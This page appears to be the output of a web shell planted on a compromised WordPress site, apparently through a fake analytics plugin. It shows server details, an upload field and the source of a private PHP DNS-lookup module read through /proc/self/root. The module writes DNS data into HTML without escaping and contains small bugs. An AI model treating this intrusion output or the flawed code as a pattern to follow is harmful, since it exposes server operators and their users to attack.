Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /proc/self/root/var/www/patientapps_support/modules/apiDNSclient/ |
Upload File : |
<?php
namespace modules\apiDNSclient;
// \php-pear-Net-DNS-1.0.7-6.el6.noarch.rpm, with some changes to DNS.php
require_once __DIR__ . '/DNS.php';
function _is_a($item, $objecttype) {
$itemclass = strtolower(get_class($item));
return $itemclass == $objecttype;
}
function _asTime($duration) {
$seconds = $duration . 's';
$ss = $duration % 60;
$mm = intval($duration / 60);
$hh = intval($mm / 60); $mm = $mm % 60;
$hms = '(' . $hh . 'h ' . $mm . 'm ' . $ss . 's)';
return "<span title=\"$hms\">$seconds</span>";
}
class main extends \moduleMain {
public function __construct() {
parent::__construct(__DIR__);
}
public function Activate() {
hook_add('dns.lookup', [$this, '__dns_lookup']);
}
private function _lookup($query, $servers) {
$n = new \Net_DNS();
$n->resolver->recurse = 1;
$n->resolver->nameservers = $servers;
$n->resolver->tcp_timeout = 2;
$answer = $n->resolver->search($query . '.', 'A');
$answercount = $answer->header->ancount;
for ($i=0; $i < $answercount; $i++) {
$result = $this->_addItem($answer->answer[$i], 'Answer');
return $result[3];
}
return FALSE;
}
private function _GetNameServers($servers) {
$default = ['8.8.8.8.', '8.8.4.4']; // this should be a setting
if ($servers === NULL) $servers = [];
if (!is_array($servers)) $servers = [ $servers ];
if (!count($servers)) return $default;
$output = [];
foreach($servers as $server) {
if (!filter_var($server, FILTER_VALIDATE_IP)) { // have a hostname
$res = $this->lookup($server, $default);
if ($res !== FALSE) $output[] = $res;
} else {
$output[] = $server;
}
}
return $output;
}
public function __dns_lookup(&$result, $query, $type, $servers = NULL) {
$n = new \Net_DNS();
$n->resolver->recurse = 1;
$n->resolver->nameservers = $this->_GetNameServers($servers);
$n->resolver->tcp_timeout = 2;
$answer = $n->resolver->search($query . '.', $type);
if (is_object($answer)) {
$answercount = $answer->header->ancount;
for ($i=0; $i < $answercount; $i++) {
$result[] = $this->_addItem($answer->answer[$i], 'Answer');
}
$answercount = $answer->header->nscount;
for ($i=0; $i < $answercount; $i++) {
$result[] = $this->_addItem($answer->authority[$i], 'Authority');
}
$answercount = $answer->header->arcount;
for ($i=0; $i < $answercount; $i++) {
$result[] = $this->_addItem($answer->additional[$i], 'Additional');
}
}
}
private function _addItem($itemdata, $section) {
$name = $itemdata->name;
$class = $itemdata->class;
$type = $itemdata->type;
$duration = $itemdata->ttl;
$data = '';
if (_is_a($itemdata, 'net_dns_rr_mx')) {
$pref = $itemdata->preference;
$ex = $itemdata->exchange;
$data = "<table cellpadding=\"2\" cellspacing=\"0\" border=\"0\" width=\"100%\">".
"<tr><td>preference:</td><td align=\"right\">$pref</td></tr>".
"<tr><td>exchange:</td><td align=\"right\">$ex</td></tr></table>";
} elseif (_is_a($itemdata, 'net_dns_rr_soa')) {
$s_server = $itemdata->mname;
$s_email = $itemdata->rname;
$p = strpos($s_email, '.');
$s_email[$p] = '@';
$s_serial = $itemdata->serial;
$s_refresh =_asTime($itemdata->refresh);
$s_retry = _asTime($itemdata->retry);
$s_expire = _asTime($itemdata->expire);
$s_minttl = _asTime($itemdata->minimum);
$data = "<table cellpadding=\"2\" cellspacing=\"0\" border=\"0\" width=\"100%\">".
"<tr><td>server:</td><td align=\"right\">$s_server</td></tr>".
"<tr><td>email:</td><td align=\"right\">$s_email</td></tr>".
"<tr><td>serial:</td><td align=\"right\">$s_serial</td></tr>".
"<tr><td>refresh:</td><td align=\"right\">$s_refresh</td></tr>".
"<tr><td>retry:</td><td align=\"right\">$s_retry</td></tr>".
"<tr><td>expire:</td><td align=\"right\">$s_expire</td></tr>".
"<tr><td>minimum ttl:</td><td align=\"right\">$s_minttl</td></tr></table>";
} elseif (_is_a($itemdata, 'net_dns_rr_cname')) {
$data = $itemdata->cname;
} elseif (_is_a($itemdata, 'net_dns_rr_ns')) {
$data = $itemdata->nsdname;
} elseif (_is_a($itemdata, 'net_dns_rr_aaaa')) {
$data = $itemdata->address;
} elseif (_is_a($itemdata, 'net_dns_rr_ptr')) {
$data = $itemdata->ptrdname;
} elseif (_is_a($itemdata, 'net_dns_rr_a')) {
$data = $itemdata->address;
} elseif (_is_a($itemdata, 'net_dns_rr_txt')) {
$data = $itemdata->text;
} else { // unknown object type
echo "item: <pre>";
var_dump($itemdata);
echo "</pre>";
exit;
// $data = $itemdata['data'];
}
$time = _asTime($duration);
return [$name, $class, $type, $data, $time];
return "<tr><td valign=\"top\">$name</td><td valign=\"top\">$class</td>".
"<td valign=\"top\">$type</td><td valign=\"top\">$data</td>".
// "<td valign=\"top\" align=\"right\">$seconds</td><td valign=\"top\">$hms</td></tr>\n";
"<td valign=\"top\" align=\"right\">$time</td></tr>\n";
}
}